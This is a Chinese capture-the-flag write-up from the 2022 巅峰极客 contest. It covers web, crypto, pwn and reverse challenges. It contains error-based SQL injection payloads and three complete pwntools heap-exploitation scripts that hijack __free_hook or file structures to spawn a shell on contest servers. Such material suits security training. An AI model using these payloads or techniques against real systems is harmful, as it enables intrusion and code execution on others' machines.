Web

ezWeb

给了admin的密码admin888
直接登陆后台找一个approver用户和crawler用户连接的sql注入即可
发现该应用的issue https://github.com/wibyweb/wiby/issues/1
发现使用双引号的sql语句都可以注入,那么就随便找2个位置注出flag即可
/accounts/accounts.php

2022巅峰极客网络安全技能挑战赛 Writeup by X1cT34m-小绿草信息安全实验室
" and extractvalue(1,concat(char(126),(select flag from flag1)))--

/tags/tags.php

2022巅峰极客网络安全技能挑战赛 Writeup by X1cT34m-小绿草信息安全实验室
" and extractvalue(1,concat(char(126),(select flag from flag2)))--

Crypto

point_power

ECC二倍点公式,a是未知数,带入化简一下,解一个有限域多项式

from Crypto.Util.number import long_to_bytes
p = 3660057339895840489386133099442699911046732928957592389841707990239494988668972633881890332850396642253648817739844121432749159024098337289268574006090698602263783482687565322890623
b = 1515231655397326550194746635613443276271228200149130229724363232017068662367771757907474495021697632810542820366098372870766155947779533427141016826904160784021630942035315049381147
x1 = 2157670468952062330453195482606118809236127827872293893648601570707609637499023981195730090033076249237356704253400517059411180554022652893726903447990650895219926989469443306189740
x2 = 1991876990606943816638852425122739062927245775025232944491452039354255349384430261036766896859410449488871048192397922549895939187691682643754284061389348874990018070631239671589727

PR.<a>=PolynomialRing(Zmod(p))
f = (3*x1^2+a)^2-4*(x2+2*x1)*(x1^3+a*x1+b)
print(f.roots())
m2=56006392793430010663016642098239513811260175999551893260401436587175373756825079518464264729364083325
print(long_to_bytes(m2))

strange curve

不知道出题人在干什莫,P点横坐标转字符就行。

Pwn

Gift

from pwn import*
r=remote("123.56.45.214",44298)
#r=process('./pwn')
context.log_level='debug'

def new(size,content):
  r.recvuntil("your choice:\n")
  r.sendline("2")
  r.recvuntil("your choice:\n")
  r.sendline(str(size))
  r.recvline()
  r.send(content)

def delete(idx):
  r.recvuntil("your choice:\n")
  r.sendline("3")
  r.recvline()
  r.sendline(str(idx))

def show(idx):
  r.recvuntil("your choice:\n")
  r.sendline("4")
  r.recvline()
  r.sendline(str(idx))

def gift(idx,size):
  r.recvuntil("your choice:\n")
  r.sendline("5")
  r.recvline()
  r.sendline(str(idx))
  r.recvline()
  r.sendline(str(size))

new(1,"\n")
new(1,"\n")

delete(0)
delete(1)

show(1)
r.recvuntil("cost: ")
heap=int(r.recvline())-0x260
success("heap: "+hex(heap))

new(1,"\x00"*0x10+p64(heap+0x400)+"\x00"*0x68+p64(heap+0x410))
new(1,p64(heap+0x390))

delete(0)
delete(1)

gift(1,-0x10)

new(1,"\n")
new(1,"\n")
new(1,"\x00")

delete(0)

show(0)
r.recvuntil("cost: ")
libc_base=int(r.recvline())-0x3ebca0
success("libc_base: "+hex(libc_base))

new(1,p64(libc_base+0x3ed8d8))

new(1,"\n")
new(1,p64(libc_base+0x4f302))

delete(8)

#gdb.attach(r)

r.interactive()

happy_note

from pwn import*
r=remote("182.92.74.66",17827)
#r=process('./happy_note')
context.log_level='debug'

libc=ELF("./libc.so.6")

def new(idx,size,mode):
  r.recvuntil(">> ")
  r.sendline("1")
  r.recvline()
  r.sendline(str(size))
  r.recvline()
  r.sendline(str(idx))
  r.recvline()
  r.sendline(str(mode))

def delete(idx):
  r.recvuntil(">> ")
  r.sendline("2")
  r.recvline()
  r.sendline(str(idx))

def show(idx):
  r.recvuntil(">> ")
  r.sendline("3")
  r.recvline()
  r.sendline(str(idx))

def edit(idx,content):
  r.recvuntil(">> ")
  r.sendline("4")
  r.recvline()
  r.sendline(str(idx))
  r.recvline()
  r.send(content)

def gift(idx):
  r.recvuntil(">> ")
  r.sendline("666")
  r.recvline()
  r.sendline(str(idx))

def xor(ptr1,ptr2):
  return (ptr1>>12)^ptr2

for i in range(11): new(i,0x108,1)

for i in range(7): delete(i)

gift(7)
show(7)

r.recvuntil("content: ")
libc_base=u64(r.recvuntil("\n",drop=True).ljust(0x8,"\x00"))-0x219cc0
success("libc_base: "+hex(libc_base))

_IO_wfile_jumps=libc_base+0x2160c0

new(0,0x100,1)

delete(9)
delete(7)

show(0)

r.recvuntil("content: ")
heap=u64(r.recvuntil("\n",drop=True).ljust(0x8,"\x00"))-0xc20
success("heap: "+hex(heap))

new(2,0x100,1)
new(3,0xE8,1)
new(4,0xE8,1)

delete(4)
delete(3)

edit(0,p64(xor(heap,libc_base+libc.sym["_IO_list_all"])))

new(5,0xE8,2)
new(6,0xE8,2)

new(7,0x200,1)

fake_IO_struct=""
fake_IO_struct=fake_IO_struct.ljust(0x18,"\x00")
fake_IO_struct+=p64(1)
fake_IO_struct=fake_IO_struct.ljust(0x58,"\x00")
fake_IO_struct+=p64(libc_base+0xeacef)
fake_IO_struct=fake_IO_struct.ljust(0x90,"\x00")
fake_IO_struct+=p64(heap+0xf30)
fake_IO_struct=fake_IO_struct.ljust(0xc8,"\x00")
fake_IO_struct+=p64(_IO_wfile_jumps)
fake_IO_struct=fake_IO_struct.ljust(0xd0,"\x00")
fake_IO_struct+=p64(heap+0xf30)

edit(7,fake_IO_struct)

edit(6,p64(heap+0xf30))

#gdb.attach(r,"b _IO_wdoallocbuf")

delete(9)

r.interactive()

smallcontainer

from pwn import*
r=remote("123.56.121.45",23924)
#r=process('./smallcontainer')
context.log_level='debug'

libc=ELF("./libc-2.27.so")

def new(size):
  r.recvuntil("> ")
  r.sendline("1")
  r.recvuntil(": ")
  r.sendline(str(size))

def delete(idx):
  r.recvuntil("> ")
  r.sendline("2")
  r.recvuntil(": ")
  r.sendline(str(idx))

def edit(idx,content):
  r.recvuntil("> ")
  r.sendline("3")
  r.recvuntil(": ")
  r.sendline(str(idx))
  r.send(content)

def show(idx):
  r.recvuntil("> ")
  r.sendline("4")
  r.recvuntil(": ")
  r.sendline(str(idx))

for i in range(10): new(0x208)

for i in range(3,10): delete(i)

for i in range(7): new(0x1F8)
for i in range(3,10): delete(i)

delete(0)

edit(2,"a"*0x1F8+p64(0x221))
edit(1,"a"*0x208)
edit(1,"a"*0x200+p64(0x420))

delete(2)

for i in range(7): new(0x208)

new(0x208)

show(1)

libc_base=int(r.recvuntil("This is a cyber container",drop=True),16)-libc.sym["__malloc_hook"]-0x70
success("libc_base: "+hex(libc_base))

new(0x108)

delete(9)
edit(1,p64(libc_base+libc.sym["__free_hook"]))

new(0x108)
new(0x108)

edit(10,p64(libc_base+libc.sym["system"]))
edit(0,"/bin/sh\n")

delete(0)

#gdb.attach(r)

r.interactive()

Reverse

CrackMe

JEB 反编译 apk ,CheckFlag函数是关键函数,在获取输入之前,会先执行 getReady 在 so库里面,然后执行loadassets ,在 java 代码里。getReady 使用了sock编程,应该就是创建一个服务,在最后check flag 时候,所做的是通过 sock 将 flag 发送到服务端加密,返回的结果在 libcrackme.so 里与 enc进行比较。

loadassets 里主要做的是将 dragon 文件复制到 /data/user/0/com.fire.crackme/files/ 一个文件名为5个字符的随机字符串的文件中, 同时也会将 rain1.png rain2.png … rain5.png 复制到该目录下。

这里的 dragon 文件就是我们的服务端,这里的 rain 文件虽然是png 后缀,但是不知道文件类型。在 dragon 执行时候,会将 rainx.png 文件里的内容写入内存当中,然后作为代码去执行。

这里需要注意的是,题目虽然给了 x86 的 so 文件,但是由于 服务端 dragon 文件 以及 rainx.png 里的 shellcode 是 arm 架构的,所以 apk 只有在真机中才能正常运行,模拟中会因为架构原因无法启动服务端,也就不能做 flag 效验。

接着就是 对 libcrackme.so 的分析,和对 dragon的分析了。libcrackme.so 里做的主要就是把 flag 发送到服务端,并接收数据与硬编码的结果进行比较。

dragon 里 由于将 rainx.png 里的数据作为shellcode 动态加载去执行里面的代码,所以不方便静态分析,只能动态调试。

dragon 里的 sub_1350 函数 可以很明显的发现 rc4 加密算法的特征,rc4 加密算法,可以通过动态调试,拿出加密以后的值与我们的输入进行一遍异或再与 enc 进行异或得到的就是我们的 flag , 但是这里在 rc4 加密之前还进行了一些计算操作,所以需要还原一下。

调试 dragon 需要 attach 到这个进程上去进行调试

2022巅峰极客网络安全技能挑战赛 Writeup by X1cT34m-小绿草信息安全实验室

调试 dragon 比较麻烦,因为 arm 汇编跳转指令的原因,IDA 无法反汇编出伪代码,并且我也不太懂怎么去修一下 BL BX 这种条件跳转,所以只能硬读汇编,下面是一些分析流程

这里的输入的 flag 长度必须为 0x2a

2022巅峰极客网络安全技能挑战赛 Writeup by X1cT34m-小绿草信息安全实验室

这里是判断我们输入的前5个字符是否为 flag{

2022巅峰极客网络安全技能挑战赛 Writeup by X1cT34m-小绿草信息安全实验室

这里判断最后一个字符是否为 }

2022巅峰极客网络安全技能挑战赛 Writeup by X1cT34m-小绿草信息安全实验室

分析到这里 已经快结束比赛,并且我们可以构造出如 flag{a 36} 这样的合法输入来获取加密的结果,输入几次发现 如果输入 flag 相同,加密结果也相同,那么我们就可以判定,程序是使用到了 RC4 加密算法。由于不知道程序对我们输入的每一位 flag 还进行了哪些运算,那么我就选择一下 爆破我们的输入字符 a 在 RC4 加密 计算的结果 x 。这里的 x 应该是 0-256 的数据范围大小。比较容易,之后就是输入 flag{a 36} 这样的字符串,获取加密结果,与 0-256 异或,再与 我们的enc 异或,观察一下,哪一个应该是正确的 flag。同时在最开始时候我们对 flag 进行了一遍加一,那么我们的结果应减一再以字符形式输出。脚本如下。

arr1 = [97,  76, 160,  99, 253, 166, 229, 158, 242, 217, 
   30, 238, 180, 122,   6,   9, 176, 167,  41, 163, 
  170,  72, 243,  72, 237, 194, 175,  51,  23, 137, 
  209, 248,  77, 195, 230, 124]

arr2 = [97,  75, 250,  50, 251, 162, 190, 153, 190, 142, 
   30, 235, 177,  54,  81,  94, 234, 255, 101, 251, 
  250,  24, 166,   4, 188, 195, 255,  53,  65, 140, 
  209, 249,  25, 146, 182, 123]
for t in range(20, 256):
    print(t,end = " : ")
    for i in range(0, len(arr1)):
        n = (arr1[i] ^ t ^ arr2[i])
        print(chr((n + 255) % 256), end = "")
    print("\n")

然后就在 值为 98 时候发现一组合法解,输入平台,就是正确解

2022巅峰极客网络安全技能挑战赛 Writeup by X1cT34m-小绿草信息安全实验室